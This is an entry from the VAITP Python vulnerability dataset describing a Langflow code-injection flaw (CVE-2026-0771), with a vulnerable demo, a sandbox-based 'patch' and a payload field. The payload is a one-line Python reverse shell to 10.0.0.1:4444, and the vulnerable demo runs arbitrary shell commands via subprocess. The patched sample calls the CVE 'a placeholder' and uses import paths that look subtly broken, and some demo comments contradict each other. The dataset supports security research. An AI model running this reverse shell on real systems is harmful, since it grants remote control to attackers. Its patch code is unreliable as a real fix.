CVE-2026-0771
Code injection in Langflow Python functions allows remote code execution.
- CVSS 7.1
- CWE-94
- Input Validation and Sanitization
- Remote
Langflow PythonFunction Code Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Langflow. Attack vectors and exploitability will vary depending on the configuration of the product. The specific flaw exists within the handling of Python function components. Depending upon product configuration, an attacker may be able to introduce custom Python code into a workflow. An attacker can leverage this vulnerability to execute code in the context of the application. Was ZDI-CAN-27497.
- CWE
- CWE-94
- CVSS base score
- 7.1
- Published
- 2026-01-23
- OWASP
- A03 Injection
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Command Injection
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- Langflow
- Fixed by upgrading
- Yes
Solution
Upgrade Langflow to version 1.0.0a29 or later.
Vulnerable code sample
import importlib.util
import sys
import os
import uuid
def build_python_function_from_template(code: str, function_name: str, parameters: list):
"""
This function simulates the vulnerable component in Langflow.
It takes user-provided code as a string and dynamically creates
a Python module from it. This is insecure because the 'code'
is not sanitized before being executed during the module import process.
"""
# In a real scenario, this might be a more complex template.
# The vulnerability lies in embedding raw user `code` into an executable string.
function_template = f"""
import os
import sys
def {function_name}({', '.join(parameters)}):
# The user's code is injected directly into the function body.
# A malicious user can break out of the function definition.
{code}
# An attacker's code can run here, outside of any function call,
# as soon as the module is imported.
"""
# Create a temporary file to write the dynamically generated Python code.
# This simulates how a backend might handle custom components.
module_name = f"custom_component_{uuid.uuid4().hex}"
temp_file_path = f"/tmp/{module_name}.py"
with open(temp_file_path, "w") as f:
f.write(function_template)
try:
# The vulnerability is triggered here: `exec_module` executes all code
# in the dynamically created file, including code outside the function.
spec = importlib.util.spec_from_file_location(module_name, temp_file_path)
custom_module = importlib.util.module_from_spec(spec)
sys.modules[module_name] = custom_module
spec.loader.exec_module(custom_module)
print(f"Module '{module_name}' loaded successfully.")
except Exception as e:
print(f"Error loading module: {e}")
finally:
# Clean up the temporary file
if os.path.exists(temp_file_path):
os.remove(temp_file_path)
# Remove from loaded modules
if module_name in sys.modules:
del sys.modules[module_name]
if __name__ == "__main__":
# This represents the malicious input from a remote attacker.
# The code is not just a function body; it includes top-level commands.
# The indentation is crafted to place the malicious code inside the function's
# docstring or just as top-level code in the generated file.
malicious_code_injection = """
print("Executing code inside the function definition as a docstring, but let's do more.")
# The following code is at the top level of the generated module and will execute on import.
import subprocess
print("\\n[+] CVE-2026-0771 DEMO: Executing arbitrary command.")
# On a Linux/macOS system, this command lists files. On Windows, it shows the directory.
command_to_run = "ls -la /" if os.name != "nt" else "dir c:\\\\"
subprocess.run(command_to_run, shell=True)
print("[+] RCE Successful.\\n")
"""
print("--- Simulating vulnerable Langflow component handling ---")
# The backend receives the malicious code and processes it without validation.
build_python_function_from_template(
code=malicious_code_injection,
function_name="vulnerable_function",
parameters=["text"]
)
print("--- Simulation complete ---")Patched code sample
import restrictedpython.compiler
from restrictedpython.Guards import safe_builtins, full_write_guard, guarded_iter_unpack_sequence
from restrictedpython.transformer import RestrictingNodeTransformer
# The vulnerability described (CVE-2026-0771 is a placeholder) typically involves
# the unsafe execution of user-provided code via `exec()` or `eval()`.
# A proper fix replaces direct execution with a sandboxed environment.
# This code demonstrates such a fix using the 'restrictedpython' library.
def execute_sandboxed_code(user_code: str, function_name: str, *args, **kwargs):
"""
Executes user-provided Python code within a restricted, sandboxed environment
to prevent arbitrary code execution, thereby fixing the vulnerability.
"""
# Define a custom policy to explicitly disallow dangerous language features.
class SandboxPolicy(RestrictingNodeTransformer):
# Disallow import statements to prevent access to sensitive modules
# like 'os', 'sys', or 'subprocess'.
def visit_Import(self, node):
raise SyntaxError("Import statements are not allowed.")
def visit_ImportFrom(self, node):
raise SyntaxError("ImportFrom statements are not allowed.")
# Define a limited set of "global" functions that are safe to expose
# to the sandboxed code. By default, no dangerous modules are included.
allowed_globals = {
"__builtins__": safe_builtins,
"_getiter_": guarded_iter_unpack_sequence,
"_write_": full_write_guard,
# To allow specific, safe modules (e.g., 'math'), they would be
# explicitly added here:
# "math": __import__("math")
}
local_namespace = {}
try:
# Step 1: Compile the code in restricted mode.
# This phase checks the code against the security policy. It will
# raise an error if unsafe patterns (like unauthorized attribute access
# or import statements) are found.
byte_code = restrictedpython.compiler.compile_restricted(
user_code,
filename='<user_code>',
mode='exec',
policy=SandboxPolicy
)
# Step 2: Execute the compiled, validated bytecode.
# The code runs with the 'allowed_globals' and can only interact
# with what has been explicitly permitted. It cannot access the
# filesystem, network, or other system resources.
exec(byte_code, allowed_globals, local_namespace)
# Step 3: Safely retrieve the target function from the code's namespace.
target_function = local_namespace.get(function_name)
if callable(target_function):
# Step 4: Execute the user's function and return the result.
return target_function(*args, **kwargs)
else:
raise ValueError(f"Function '{function_name}' not found in the provided code.")
except Exception as e:
# Any error during compilation or execution is caught, preventing
# the application from crashing and providing feedback.
# This includes SyntaxError for disallowed code patterns.
return f"Error during sandboxed execution: {e}"Payload
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"]);
Cite this entry
@misc{vaitp:cve20260771,
title = {{Code injection in Langflow Python functions allows remote code execution.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-0771},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-0771/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
